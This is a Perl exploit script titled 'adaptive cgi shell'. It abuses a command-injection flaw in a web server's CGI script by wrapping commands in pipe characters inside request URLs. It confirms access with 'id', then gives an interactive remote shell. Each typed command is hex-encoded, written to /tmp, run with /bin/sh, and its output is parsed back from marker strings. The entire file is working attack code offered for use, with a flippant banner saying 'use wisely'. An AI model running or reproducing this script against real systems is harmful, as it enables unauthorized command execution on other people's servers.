#!/usr/bin/perl
 
# adaptive cgi shell by secye
 
use LWP::Simple;
$part1 = @ARGV[0]; $part2 = @ARGV[1];
print "Making buffer...\n";
for $bet (100..200) {
	$bettwo = $bettwo . "AAAA" . $bet . "AAAA\\\\n";
}
print "Exploiting...\n";
$id = get("$part1\|id\|$part2");
$id =~ m/(uid=\d+\(.*\) gid=\d+\(.*\) groups=\d+\(.*\))/;
print "Well shizzle my nizzle... shell by oxagast... use wisely \;\)\n\n";
$uid = $1;
print "$uid\n";
while (0 == 0) {
	print "\$ ";
	$cmd = <STDIN>;
	chomp($cmd);
	if ($cmd =~ m/cd (\/.*)/) {
		$dir = $1;
	}
	if ($cmd eq "cd ..") {
		$dir =~ s/(.*)\/.*/\/\1/;
	}
	if ($cmd eq "pwd") {
		$dirjunk = $dir;
		if ($dirjunk eq "//") {
			$dirjunk = "/";
		}
	}
	$dirjunk = "cd $dir\;$cmd";	
	$cmdhex = unpack("H*","$dirjunk &>/tmp/cmdlnerr");
	$cmdhex =~ s/(..)/\\\\x$1/g;
	get("$part1\|echo -e $bettwo > /tmp/buff\|$part2");
	$backjunk2 = get("$part1\|cat /tmp/buff\|$part2");
	@backjunk = split("\n", $backjunk2);
	get("$part1\|echo -e \"$cmdhex\" > /tmp/cmdln\|$part2");
	get("$part1\|/bin/sh /tmp/cmdln > /tmp/cmdlerr\|$part2");
	$backjunk_as = get("$part1\|cat /tmp/cmdlnerr\|$part2");
	@backjunk_split = split("\n", $backjunk_as);
	$backjunk_wcl = get("$part1\|wc -l /tmp/cmdlnerr\|$part2");
	$backjunk_wcl =~ m/(\d+) \/tmp\/cmdlnerr/m;
	$thismanylines = $1 - 1;
	for $junknum (0..scalar(@backjunk_split)) {
		for $fuzz (10..100+$thismanylines) {
			if ($backjunk[$junknum] =~ m/(AAAA\Q$fuzz\EAAAA)/) {
			$middle = $1;
			@backjunk[$junknum] =~ m/(.*)\Q$middle\E/;
			@backjunk_split[$junknum] =~ s/$1//;
			@backjunk[$junknum] =~ m/\Q$middle\E(.*)/;
			@backjunk_split[$junknum] =~ s/$1//;
			print "$backjunk_split[$junknum]\n";
			}
		}
	}
}